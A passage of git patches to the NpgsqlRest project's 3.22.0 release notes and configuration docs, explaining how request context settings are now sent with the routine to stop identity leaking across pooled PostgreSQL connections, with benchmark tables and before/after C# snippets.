3.21.0 never did. That state was never released. +- An endpoint without context in the same application: 3.21.0 39,429 / 38,108 requests per second (JIT / AOT), before this round 33,812 / 32,759 (the reset applies to every endpoint of an application that has a context endpoint), now 38,048 / 37,094. +- PostgreSQL's own CPU for the small request: 97 µs in 3.21.0, 120-121 µs with the reset, 60 µs now. + +The login cookie itself, on the endpoint without context (AOT, two rounds, µs at one connection, without / with the cookie): 3.21.0 182.6 / 190.3 and 182.2 / 191.4; 3.22.0 code on .NET 10 186.5 / 193.1 and 185.0 / 199.4; 3.22.0 on .NET 11 191.9 / 202.7 and 196.6 / 201.9. The cookie costs about 8 µs in every build; what differs between the builds is the small-request cost of .NET 11 measured in round 3. + +## JIT: BenchmarkDotNet, before and after + +`GetTextUserContext` was added to the endpoint benchmarks in this round: the text value from an endpoint with `user_context`, requested anonymously, so four settings are sent (the IP address, and NULL for the three user keys). The benchmark file was copied into a worktree of `3810e6e` for the "before" run. One run each, mean time and allocation per request: + +| | GetText | GetRows100 | GetTextUserContext | HttpOnly | NpgsqlOnly | +|---|---|---|---|---|---| +| 3.22.0 before this round (`3810e6e`) | 182.61 µs, 4.91 KB | 396.37 µs, 50.92 KB | 333.81 µs, 10.17 KB | 39.90 µs, 3.03 KB | 131.64 µs, 1.58 KB | +| 3.22.0 | 179.22 µs, 4.90 KB | 398.37 µs, 50.91 KB | 207.11 µs, 8.76 KB | 39.31 µs, 3.03 KB | 131.59 µs, 1.56 KB | + +The context request is 127 µs faster, one `NpgsqlOnly` round trip, and allocates 1.4 KB less. It still costs 28 µs and 3.9 KB more than `GetText`: the batch, its two batch commands and the eight text parameters of four settings. Nothing else moved, as expected: endpoints without context run the same code as before. + +In this benchmark the library opens connections from a plain connection string, so Npgsql resets them with `DISCARD ALL` in both runs; the client's reset rule is not involved. + +## Verification + +3,076 tests pass on .NET 11, on .NET 10 (`-p:NpgsqlRestTestFramework=net10.0`) and with Runtime Async (`-p:NpgsqlRestRuntimeAsync=true`). The native AOT executable (36,272,336 bytes, no new trim or AOT warnings) passes `.github/scripts/aot-smoke-test.sh`, which now also calls endpoints with `user_context` and `request_headers context` and checks that nothing of the context is left on the connection. + +The fallback was checked by forcing `RequestContextBatch.IsSupported` to false for one run of the whole suite: the 16 tests that assert the new behavior failed (nothing left on a never-reset connection, the reset no longer required, the Npgsql member present) and all the others passed, so the old two-step path still works as before. diff --git a/NpgsqlRestClient/ConfigSchemaGenerator.cs b/NpgsqlRestClient/ConfigSchemaGenerator.cs index 45a20501..2cbc659e 100644 --- a/NpgsqlRestClient/ConfigSchemaGenerator.cs +++ b/NpgsqlRestClient/ConfigSchemaGenerator.cs @@ -351,7 +351,7 @@ public static partial class ConfigSchemaGenerator ["NpgsqlRest:DefaultRequestParamType"] = "When not null, sets the request parameter position (request parameter types) for all created endpoints. Values are `QueryString` (parameters are sent using query string) or `BodyJson` (parameters are sent using JSON request body). When this value is null (default), request parameter type is `QueryString` for all `GET` and `DELETE` endpoints, otherwise, request parameter type is `BodyJson`. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations.", ["NpgsqlRest:QueryStringNullHandling"] = "Sets the default behavior for handling NULL values in query string parameters.\n- `Ignore` (default): No special handling - empty strings stay as empty strings, \"null\" literal stays as \"null\" string.\n- `EmptyString`: Empty query string values are interpreted as NULL values. This limits sending empty strings via query strings.\n- `NullLiteral`: Literal string \"null\" (case insensitive) is interpreted as NULL value.\nThis option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations.", ["NpgsqlRest:TextResponseNullHandling"] = "Sets the default behavior for plain text responses when the execution returns NULL from the database.\n- `EmptyString` (default): Returns an empty string response with status code 200 OK.\n- `NullLiteral`: Returns a string literal \"NULL\" with status code 200 OK.\n- `NoContent`: Returns status code 204 NO CONTENT.\nThis option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations.", - ["NpgsqlRest:RequestHeadersMode"] = "Configure how to send request headers to PostgreSQL routines execution:\n- `Ignore` (default) don't send any request headers to routines.\n- `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions.\n- `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations.", + ["NpgsqlRest:RequestHeadersMode"] = "Configure how to send request headers to PostgreSQL routines execution:\n- `Ignore` (default) don't send any request headers to routines.\n- `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`.\n- `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations.", ["NpgsqlRest:RequestHeadersContextKey"] = "Name of the context variable that will receive the request headers when RequestHeadersMode is set to Context.", ["NpgsqlRest:RequestHeadersParameterName"] = "Sets a parameter name that will receive a request headers JSON when the `Parameter` value is used in `RequestHeadersMode` options. A parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations.", ["NpgsqlRest:WrapInTransaction"] = "When true, **every request** is wrapped in an explicit BEGIN/COMMIT, and all `set_config` calls switch to the transaction-local form (`is_local=true`).\n**Required when using a connection pooler in transaction mode** (PgBouncer transaction-pool, AWS RDS Proxy in transaction mode, Supabase Pooler) — without this, the backend can be reused across unrelated requests, allowing GUC state (and the routine call itself) to leak or split mid-request.\nDefault is false to preserve existing behavior; safe to leave off with Npgsql's native pool as long as the connection string does not set \"No Reset On Close\".", diff --git a/NpgsqlRestClient/ConfigTemplate.cs b/NpgsqlRestClient/ConfigTemplate.cs index f561cc2a..a872a998 100644 --- a/NpgsqlRestClient/ConfigTemplate.cs +++ b/NpgsqlRestClient/ConfigTemplate.cs @@ -2144,7 +2144,7 @@ public static partial class ConfigSchemaGenerator // // Configure how to send request headers to PostgreSQL routines execution: // - `Ignore` (default) don't send any request headers to routines. - // - `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions. + // - `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`. // - `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations. // "RequestHeadersMode": "Parameter", diff --git a/NpgsqlRestClient/appsettings.json b/NpgsqlRestClient/appsettings.json index 69afc791..dd5e04fc 100644 --- a/NpgsqlRestClient/appsettings.json +++ b/NpgsqlRestClient/appsettings.json @@ -2135,7 +2135,7 @@ // // Configure how to send request headers to PostgreSQL routines execution: // - `Ignore` (default) don't send any request headers to routines. - // - `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions. + // - `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`. // - `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations. // "RequestHeadersMode": "Parameter", diff --git a/changelog/v3.22.0.md b/changelog/v3.22.0.md index a11e3a24..bc6c452c 100644 --- a/changelog/v3.22.0.md +++ b/changelog/v3.22.0.md @@ -25,7 +25,7 @@ Most applications upgrade without changes. Go through this list; each item links - **HTTP Custom Types:** request values are percent-encoded in the URL, and calls without `@timeout` time out after 30 seconds. → [details](#breaking-http-custom-types-encode-request-values-in-the-url-and-calls-time-out-after-30-seconds-by-default) - **Login clients:** a wrong password now returns `401`, not `404`. → [details](#breaking-a-wrong-password-now-answers-like-an-unknown-user-401) - **Upload `row_command` with `{placeholders}`:** placeholders are no longer substituted in that SQL. → [details](#breaking-no-placeholder-substitution-in-upload-row_command) -- **`user_context` and session state:** when an endpoint uses `user_context` (or `request_headers context`, the upload metadata context key or `BeforeRoutineCommands`) without `WrapInTransaction`, every connection is now reset between requests. Settings left by your own SQL (`set_config(..., false)`, `SET ROLE`, temporary tables) no longer survive to the next request, and a cleared setting reads as an empty string, not NULL. → [details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections) +- **`user_context` and `request_headers context`:** the values no longer stay on the database connection after the request. For functions, tables, views and single-statement SQL files they are now local to the request; a setting that is not set reads as an empty string, not NULL, so write `nullif(current_setting('request.user_id', true), '')`. For the other endpoints that use them (procedures, uploads, login and logout, multi-statement SQL files) and for `BeforeRoutineCommands`, every connection is now reset between requests unless `WrapInTransaction` is on; settings left by your own SQL (`set_config(..., false)`, `SET ROLE`, temporary tables) then no longer survive to the next request either. → [details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections) - **Passkeys:** frontends must send `userContext` back exactly as received, and multi-instance deployments need shared Data Protection keys. → [details](#passkeys-a-signed-in-user-could-add-their-passkey-to-someone-elses-account) - **External login:** accounts whose email the provider reports as unverified are rejected. With Microsoft login, identify users by the stable `sub` id rather than by email. → [details](#external-login-unverified-email-addresses-are-rejected) - **MCP from a browser page on the same named host** (e.g. `https://app.example.com` calling its own `/mcp`): add that origin to `McpOptions.AllowedOrigins`. → [details](#mcp-the-dns-rebinding-check-could-be-bypassed) @@ -49,7 +49,7 @@ Most applications upgrade without changes. Go through this list; each item links - CI runs the full test suite twice: on .NET 11, and against the library's `net10.0` build on the .NET 10 runtime (`dotnet test NpgsqlRestTests -p:NpgsqlRestTestFramework=net10.0`). - The JIT Docker image (`Dockerfile.jit`) uses the .NET 11 `aspnet` and `sdk` base images. The native AOT images are unchanged; they build a self-contained binary. - CI builds, tests and publishes with the .NET 11 SDK (plus the .NET 10 runtime for the second test run). `global.json` pins SDK `11.0.100`. -- CI now also publishes the native AOT executable and serves real requests with it: GET and POST, rows, an anonymous call to an `authorize` endpoint, gzip, a 200 KB value, 2,000 rows, and 200 parallel requests (`.github/scripts/aot-smoke-test.sh`). This runs on every branch and before each release's Linux upload. A version check alone had missed an AOT build that crashed on its first request; see Runtime Async below. +- CI now also publishes the native AOT executable and serves real requests with it: GET and POST, rows, an anonymous call to an `authorize` endpoint, gzip, a 200 KB value, 2,000 rows, endpoints with `user_context` and `request_headers context`, and 200 parallel requests (`.github/scripts/aot-smoke-test.sh`). This runs on every branch and before each release's Linux upload. A version check alone had missed an AOT build that crashed on its first request; see Runtime Async below. - **Runtime Async is not enabled, but it now can be.** .NET 11 introduces Runtime Async (`runtime-async=on`), which replaces compiler-generated async state machines with suspension managed by the runtime. NpgsqlRest was measured with it at each stage of this release: - **With the original request handler**, one very large async method, it was harmful. The native AOT build of `npgsqlrest` crashed on its very first request, and every wait for I/O saved about 13.7 KB of state instead of one 0.8 KB object. - **With the handler split into a few large methods**, the crash was gone, but every request still allocated about 1 KB more. The reason turned out to be simple: with Runtime Async, what a method saves while it waits is sized for its *largest* waiting point, and every wait in that method pays for it. The two main request methods each saved 450–480 bytes whenever a request waited for the database. @@ -75,7 +75,7 @@ Most applications upgrade without changes. Go through this list; each item links ### Performance -Compared with 3.21.0, this release serves **21–24% more row requests per second**, needs **28–36% less CPU** for them, **37–45% less CPU** for large JSON values, and holds a half to a quarter of the memory under load. Small requests are served at the same rate as before. +Compared with 3.21.0, this release serves **21–24% more row requests per second**, needs **28–36% less CPU** for them, **37–45% less CPU** for large JSON values, and holds a half to a quarter of the memory under load. Small requests are served at the same rate as before. Endpoints with `user_context` or `request_headers context` need **one database round trip instead of two**: they serve **41–69% more requests per second** and answer about 120 µs sooner. NpgsqlRest runs in two ways, and they are measured separately: @@ -136,7 +136,7 @@ How to read this: #### Connections are reset only when needed -A request can leave *session-level* settings on its database connection: `user_context` and `request_headers context` pass their values to PostgreSQL with `set_config(..., false)`. Up to 3.21.0 the `npgsqlrest` client never cleared them (it forced `No Reset On Close=true`), which is the leak fixed in this release ([details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections)). The first fix was to let Npgsql reset every connection when it returns to the pool. That is safe, and it turned out to be expensive: Npgsql's reset is `DISCARD ALL`, PostgreSQL runs it before every request, and it also discards the cached query plans, so each request plans every statement of the PL/pgSQL functions it calls again. +A request can leave *session-level* settings on its database connection. Up to 3.21.0, `user_context` and `request_headers context` always did: they passed their values to PostgreSQL with `set_config(..., false)`, and the `npgsqlrest` client never cleared them (it forced `No Reset On Close=true`), which is the leak fixed in this release ([details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections)). The first fix was to let Npgsql reset every connection when it returns to the pool. That is safe, and it turned out to be expensive: Npgsql's reset is `DISCARD ALL`, PostgreSQL runs it before every request, and it also discards the cached query plans, so each request plans every statement of the PL/pgSQL functions it calls again. | Native AOT (the JIT figures are 1–6% higher) | No reset | Reset, as 3.22.0 does it | `DISCARD ALL` | |---|---:|---:|---:| @@ -144,18 +144,22 @@ A request can leave *session-level* settings on its database connection: `user_c | PL/pgSQL function with five queries, requests per second | 30,841 | 26,968 | 21,904 | | PL/pgSQL function with five queries, response time | 260 µs | 278 µs | 360 µs | -So 3.22.0 does two things: +So 3.22.0 does three things: + +- **Most requests no longer leave anything behind.** The request context of functions, tables, views and single-statement SQL files is sent together with the routine, as settings that exist only for that one request. See [The request context travels with the routine](#the-request-context-travels-with-the-routine) below. - **It resets only when something can be left behind.** At startup, once the endpoints are built, the client checks whether any request can leave session-level settings on a connection: | Your application | Connections are reset | |---|---| - | An endpoint uses `user_context` or `request_headers context`, an upload endpoint sets the upload metadata context key, or `BeforeRoutineCommands` are configured | **Yes**, after every request, for all endpoints | - | The same, with `WrapInTransaction` enabled | **No**: the settings are local to the request's transaction | - | None of the above | **No**: nothing NpgsqlRest does stays on a connection | + | `user_context` or `request_headers context` on a procedure, an upload, login or logout endpoint, a SQL file with several statements (or with a statement that is not a query or data change), or a routine returning a single `bytea` value | **Yes**, after every request, for all endpoints | + | An upload endpoint sets the upload metadata context key, or `BeforeRoutineCommands` are configured | **Yes**, after every request, for all endpoints | + | Any of the above, with `WrapInTransaction` enabled | **No**: the settings are local to the request's transaction | + | `user_context` or `request_headers context` only on functions, tables, views and single-statement SQL files | **No**: the context is local to the request | + | None of these features | **No**: nothing NpgsqlRest does stays on a connection | | The connection string contains `No Reset On Close` | As you set it: `true` never, `false` always | - The decision is logged at debug level. The numbers in the tables above are from an application of the third kind. + The decision is logged at debug level. The numbers in the tables above are from an application of the fifth kind. Note that `NpgsqlRest:AuthenticationOptions:UseUserContext: true` turns the context on for every endpoint, login and logout endpoints included, which is the first kind; putting the `user_context` annotation on the endpoints that read the context avoids that. - **When it resets, it keeps the query plans.** The client prepares one trivial statement on every new database connection. With a prepared statement present, Npgsql resets a connection with the individual commands (`RESET ALL`, `CLOSE ALL`, `UNLISTEN *`, releasing advisory locks, `DISCARD SEQUENCES`, `DISCARD TEMP`) instead of `DISCARD ALL`. Settings, the role, temporary tables, advisory locks, listeners and cursors are cleared exactly as before; cached plans and prepared statements are kept. PostgreSQL re-plans on its own when the search path, the role or a referenced object changes. @@ -174,6 +178,86 @@ dataSourceBuilder.UsePhysicalConnectionInitializer( async connection => { await using var command = new NpgsqlCommand("select 1", connection); await command.PrepareAsync(); }); ``` +#### The request context travels with the routine + +`user_context` and `request_headers context` pass values to PostgreSQL as settings, which the routine reads with `current_setting()`. Until now they were set by a separate command before the routine ran. That is a second round trip to the database for every such request, and because the settings were made at session level, they stayed on the connection afterwards, which is what makes the connection reset above necessary. + +For functions, tables, views and SQL files with a single query or data-changing statement, the settings and the routine now go to PostgreSQL together. This is what PostgreSQL receives for one request to a function with `user_context` (taken from its statement log): + +| 3.21.0 | 3.22.0 | +|---|---| +| `select set_config($1,$2,false)`
`select set_config($1,$2,false)`
`select set_config($1,$2,false)`
`select set_config($1,$2,false)`
*(the response comes back, then:)*
`select public.who_am_i(_greeting=>$1)` | `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null`
`select public.who_am_i(_greeting=>$1)` | +| two round trips | one round trip | +| the four settings stay on the connection | nothing stays on the connection | + +PostgreSQL runs the two statements in one transaction, and the settings are local to it (`is_local = true`): the routine sees them, and they are gone when it ends. The routine's own statement is sent exactly as before. + +Measured like the tables above, with the endpoints called by a signed-in user (cookie authentication), so every request carries four context settings: the IP address, user id, user name and roles. The three `user_context` endpoints are a function returning a short text value, the PL/pgSQL function with five queries, and the function returning 100 rows. Three runs each, in different orders; averages are shown. *PostgreSQL CPU per request* is the CPU time of the PostgreSQL container divided by the number of requests. + +**JIT** + +| | 3.21.0 (.NET 10) | 3.22.0 (.NET 11) | Change | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,070 | 35,704 | **+69%** | +| PL/pgSQL function, `user_context` | 19,314 | 30,094 | **+56%** | +| 100 rows, `user_context` | 11,710 | 17,803 | **+52%** | +| Text value without context, same application | 39,429 | 38,048 | −4% | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 335 µs | 217 µs | **−35%** | +| PL/pgSQL function, `user_context` | 399 µs | 282 µs | **−29%** | +| 100 rows, `user_context` | 648 µs | 521 µs | **−20%** | +| Text value without context, same application | 186 µs | 199 µs | +7% | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 320 µs | 166 µs | **−48%** | +| 100 rows, `user_context` | 650 µs | 313 µs | **−52%** | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 97 µs | 60 µs | **−38%** | +| 100 rows, `user_context` | 362 µs | 300 µs | **−17%** | + +**Native AOT** + +| | 3.21.0 (.NET 10) | 3.22.0 (.NET 11) | Change | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,209 | 35,570 | **+68%** | +| PL/pgSQL function, `user_context` | 18,789 | 28,532 | **+52%** | +| 100 rows, `user_context` | 11,591 | 16,376 | **+41%** | +| Text value without context, same application | 38,108 | 37,094 | same | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 337 µs | 218 µs | **−35%** | +| PL/pgSQL function, `user_context` | 398 µs | 281 µs | **−29%** | +| 100 rows, `user_context` | 691 µs | 545 µs | **−21%** | +| Text value without context, same application | 189 µs | 199 µs | +5% | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 255 µs | 172 µs | **−32%** | +| 100 rows, `user_context` | 607 µs | 366 µs | **−40%** | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 97 µs | 60 µs | **−39%** | +| 100 rows, `user_context` | 371 µs | 306 µs | **−18%** | + +How to read this: + +- **A request with `user_context` now costs one database round trip less.** Each of the three endpoints answers about 120 µs sooner, which is what one round trip to PostgreSQL takes on this machine, and under load they serve 41–69% more requests. +- **The context itself is now almost free.** In 3.21.0 the text value took 335 µs with `user_context` and 186 µs without it (JIT, one request at a time). Now it takes 217 µs with it and 199 µs without. +- **PostgreSQL has less to do as well:** 38–39% less CPU for the small request and 17–18% less for 100 rows. It gets one statement that sets all the settings instead of a statement per setting, and one transaction per request instead of two. +- **The server's CPU per request** includes the other improvements of this release, which is why it falls even more for rows. +- **An endpoint without context is not affected.** The last row of the first two groups is the text value from the tables above, in the same application and called with the same login cookie. Its small difference is the .NET 11 effect described there; the cookie costs the same 8 µs or so in both versions. + +Which endpoints this applies to, and what else to know: + +- **It applies to** functions, tables and views, and SQL files that consist of one query or data-changing statement (`select`, `with`, `insert`, `update`, `delete`, `merge`, `values`, `table`). +- **It does not apply to** procedures (a procedure can `COMMIT`, which would end the local settings while it is still running), SQL files with several statements or with another kind of statement (`call`, `do`, ...), upload, login and logout endpoints, and routines that return a single `bytea` value. It is also off for all endpoints when `BeforeRoutineCommands` are configured, and with `WrapInTransaction`, where the context is already local to the request's transaction. These endpoints set their context as before, with a separate command. +- **A cached response no longer touches the database.** For an endpoint with `user_context` and `cached`, a cache hit used to open a connection and set the context before the cached value was returned. Now nothing is sent. +- **`NpgsqlRest:AuthenticationOptions:UseUserContext: true`** turns the context on for every endpoint, including login and logout endpoints. Those keep the session-level context, so such an application still resets its connections ([above](#connections-are-reset-only-when-needed)); all its other endpoints still save the round trip. +- **In PostgreSQL's statement log and in `pg_stat_statements`**, the context of such a request is now one `select set_config(...) is null, ...` statement instead of one `select set_config($1,$2,false)` per setting. +- **What your SQL sees is the same**, with one exception that was already true after a connection reset: a setting that is not set reads as an empty string, not NULL (see [What to check](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections)). + +For library users: + +- Nothing to configure. `RoutineEndpoint`, `NpgsqlRestOptions` and the callbacks are unchanged, with one exception: when `CommandCallbackAsync` is set, the context is set by a separate command as before, because the callback works with the routine's command and may execute it itself. +- **This uses one non-public member of Npgsql.** NpgsqlRest reads every value as text, and for a batch Npgsql has that switch (`NpgsqlBatch.AllResultTypesAreUnknown`) only as an internal property; making it public is on Npgsql's backlog ([npgsql/npgsql#3922](https://github.com/npgsql/npgsql/issues/3922)). NpgsqlRest reaches it without reflection, so trimmed and native AOT builds work, and checks once at startup that it is there. If your application runs with an Npgsql version that does not have it, NpgsqlRest logs one informational message and sets the context the old way, with a separate command. Nothing else changes in that case. The package references Npgsql 10.0.3, where it is present, and a test fails if an Npgsql upgrade ever removes it. + #### JIT: BenchmarkDotNet The endpoint benchmarks in `BenchmarkTests` (`dotnet run -c Release -- --endpoints`). They send one request at a time to an in-process server, which runs as JIT code and uses the library directly. `GetText` is the text value above and `GetRows100` the 100 rows. Allocations are per request, client and server together. Two interleaved runs each, averages shown. @@ -190,6 +274,8 @@ The endpoint benchmarks in `BenchmarkTests` (`dotnet run -c Release -- --endpoin - For `GetText`, two reference benchmarks give the floor: the same HTTP round trip without a database and the same query without HTTP. On .NET 11 they allocate 3.03 KB and 1.57 KB, 4.60 KB together, and NpgsqlRest adds 0.30 KB on top of them. In 3.21.0 on .NET 10 the same two took 4.54 KB and NpgsqlRest added 2.59 KB. - Time: the two reference benchmarks take 30.3 µs and 127.1 µs on .NET 10, and 39.1 µs and 131.7 µs on .NET 11. That is 13 µs more for the same work on .NET 11, and it is why `GetText` is not faster although NpgsqlRest's own part of it roughly halved (177.0 − 157.4 = 20 µs before, 180.6 − 170.8 = 10 µs now). +- `GetTextUserContext` is new in these benchmarks: the same text value from an endpoint with `user_context`, which sends four context settings with the request (see [The request context travels with the routine](#the-request-context-travels-with-the-routine)). With the context in a separate round trip, the way 3.21.0 sends it, the request took 333.8 µs and allocated 10.17 KB; that was measured on the 3.22.0 code just before the change, because 3.21.0 does not have this benchmark. With the context sent together with the routine it takes 207.1 µs and allocates 8.76 KB. One run each; `GetText` and `GetRows100` came out the same in both runs. + Allocations per request can only be measured this way in JIT mode. The code is the same in the native AOT executable, and its memory under load fell accordingly. #### What changed @@ -304,11 +390,12 @@ In practice, anyone who knew a username could log in as that user, including adm As a result, an anonymous request that reused a connection last used by a signed-in user ran with that user's `request.user_id`, `request.user_name` and roles. Endpoints without `user_context` that read these settings (for example through RLS policies) could see the previous caller's identity too. **What changed.** -- The `npgsqlrest` client no longer forces `No Reset On Close`. It now resets connections when a request can leave session-level settings on them: when any endpoint uses `user_context` or `request_headers context`, when an upload endpoint sets the upload metadata context key, or when `BeforeRoutineCommands` are configured. Every connection is then reset when it returns to the pool, for all endpoints, which clears all session settings. With `WrapInTransaction` those settings are local to the request's transaction, so nothing needs resetting; and an application that uses none of these features leaves nothing on its connections, so they are not reset either, as before. `No Reset On Close` in the connection string overrides the rule in both directions. The rule, what the reset costs and what it keeps are described under [Connections are reset only when needed](#connections-are-reset-only-when-needed). -- For anonymous requests, `user_context` endpoints now set every user key, and the claims JSON key if configured, to NULL instead of skipping them. So `user_context` endpoints never see a previous identity, even when connections are not reset. -- At startup, the library warns when the connection string sets `No Reset On Close` while endpoints use `user_context` or `request_headers context` (unless `WrapInTransaction` is on). +- **For functions, tables, views and single-statement SQL files, the identity no longer stays on the connection at all.** `user_context` and `request_headers context` values are sent to PostgreSQL together with the routine, as settings that are local to that one transaction: the routine sees them, and they are gone when it ends. Nothing is left for a later request to read. This also saves a database round trip per request; see [The request context travels with the routine](#the-request-context-travels-with-the-routine). +- **The other endpoints still use session-level settings, and connections are reset after them.** Procedures, upload, login and logout endpoints and multi-statement SQL files set their context before the routine, at session level, as before. The `npgsqlrest` client no longer forces `No Reset On Close`: when an application has such endpoints (or an upload metadata context key, or `BeforeRoutineCommands`), every connection is reset when it returns to the pool, for all endpoints, which clears all session settings. With `WrapInTransaction` those settings are local to the request's transaction, so nothing needs resetting. `No Reset On Close` in the connection string overrides the rule in both directions. The rule, what the reset costs and what it keeps are described under [Connections are reset only when needed](#connections-are-reset-only-when-needed). +- For anonymous requests, `user_context` endpoints now set every user key, and the claims JSON key if configured, to NULL instead of skipping them. So `user_context` endpoints never see a previous identity, however the context is set. +- At startup, the library warns when the connection string sets `No Reset On Close` while endpoints set `user_context` or `request_headers context` at session level (unless `WrapInTransaction` is on). -**What to check.** Once a session has used a setting, PostgreSQL returns an **empty string**, not NULL, for it after it is cleared. This also happens after a connection reset. If your SQL casts the value, write `nullif(current_setting('request.user_id', true), '')::int` rather than `current_setting('request.user_id', true)::int`. The plain cast fails for anonymous requests on a reused connection. +**What to check.** Once a session has used a setting, PostgreSQL returns an **empty string**, not NULL, for it when it is not set. That is the case after a request whose settings were local to it, after a connection reset, and for anonymous requests. If your SQL casts the value, write `nullif(current_setting('request.user_id', true), '')::int` rather than `current_setting('request.user_id', true)::int`. The plain cast fails for anonymous requests on a reused connection. #### Breaking: anonymous callers can no longer fill user parameters (`user_params`) From 623624e32848f64cd6a003a80b8619438e698511 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 20 Nov 2026 07:43:27 +0100 Subject: [PATCH 17/38] docs: 3.22.0 changelog - summary of the performance work and how the speed was gained, in code - The opening of the release notes says in two sentences what the performance work brought. - New section under Performance with shortened before/after code for the four changes that matter: rows built from UTF-8 bytes, rows sent in 16 KB pieces, one pooled request state with small async stages, and the request context sent with the routine. --- changelog/v3.22.0.md | 95 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 95 insertions(+) diff --git a/changelog/v3.22.0.md b/changelog/v3.22.0.md index bc6c452c..df742437 100644 --- a/changelog/v3.22.0.md +++ b/changelog/v3.22.0.md @@ -6,6 +6,8 @@ This release moves NpgsqlRest to **.NET 11** (the library and plugins also keep supporting .NET 10) and is a **security release**. A full review of the codebase found several vulnerabilities, including one critical issue in password login. **Everyone should upgrade.** Some security fixes change behavior that applications may rely on. Each is described below, with what to check before upgrading. +It is also a **performance release**. Compared with 3.21.0, NpgsqlRest serves 21–24% more row requests per second with 28–36% less CPU and a half to a quarter of the memory, because rows are written as UTF-8 bytes straight from the database through one pooled request state and sent in larger network writes. Endpoints with `user_context` now send their context together with the routine in one database round trip instead of two, so they serve 41–69% more requests per second and answer about 120 µs sooner, and connections are reset between requests only when an endpoint actually leaves something on them. The measurements, as JIT and as native AOT, are under [Performance](#performance). + ### Upgrade notes (read this first) Most applications upgrade without changes. Go through this list; each item links to the full explanation. @@ -278,6 +280,99 @@ The endpoint benchmarks in `BenchmarkTests` (`dotnet run -c Release -- --endpoin Allocations per request can only be measured this way in JIT mode. The code is the same in the native AOT executable, and its memory under load fell accordingly. +#### How the speed was gained, in code + +Four changes account for almost all of it. The code is shortened, but it is what a request does. + +**1. A row is built from the bytes PostgreSQL sent, not from strings.** PostgreSQL sends every value as UTF-8 text and the response is UTF-8, so no value has to become a .NET string on the way. + +```csharp +// 3.21.0: a string per value, a UTF-16 row, and then everything encoded back to UTF-8 +object value = reader.GetValue(i); // allocates a string for every value of every row +var raw = ((string)value).AsSpan(); +rowBuilder.Append(jsonColumnNames[i]); // rowBuilder is a StringBuilder +JsonValueFormatter.FormatValue(raw, value, descriptor, rowBuilder); +// ... +WriteStringBuilderToWriter(rowBuilder, writer); // encodes the row to UTF-8 + +// 3.22.0: the value's bytes go from the reader into a pooled byte buffer +using var stream = reader.GetStream(i); // the raw column; Npgsql reuses the stream object +stream.ReadExactly(scratch, 0, length); +rowBuilder.Append(utf8JsonColumnNames[i]); // rowBuilder is a byte buffer; "name": is prepared once, as bytes +JsonValueFormatter.FormatValue(scratch.AsSpan(0, length), isNull, descriptor, rowBuilder); // escapes and converts on bytes +// ... +writer.Write(rowBuilder.WrittenSpan); // already UTF-8 +``` + +A 100-row response used to create about 1,500 short-lived strings. Together with change 3, this took what such a request allocates from 146 KB to 6 KB (without the benchmark client's own copy of the response). + +**2. Rows leave in pieces of 16 KB, not every 25 rows.** + +```csharp +// 3.21.0: a network write and an HTTP chunk every 25 rows +if (rowCount % bufferRows == 0) +{ + WriteStringBuilderToWriter(rowBuilder, writer); + await writer.FlushAsync(cancellationToken); +} + +// 3.22.0: checked every 25 rows, sent once 16 KB is collected (ResponseBufferBytes), and at the end +if (rowCount % bufferRows == 0 && rowBuilder.Length >= responseBufferBytes) +{ + writer.Write(rowBuilder.WrittenSpan); + await writer.FlushAsync(cancellationToken); + rowBuilder.Clear(); +} +``` + +A 15 KB response went out in five pieces; it now goes out in one. That alone is about a tenth of the CPU of a 100-row request. + +**3. One request state, reused, and small async methods around it.** + +```csharp +// 3.21.0: one async method of about 3,400 lines. Dozens of locals stayed alive across every await, +// and in JIT deployments the method was too large for the JIT to 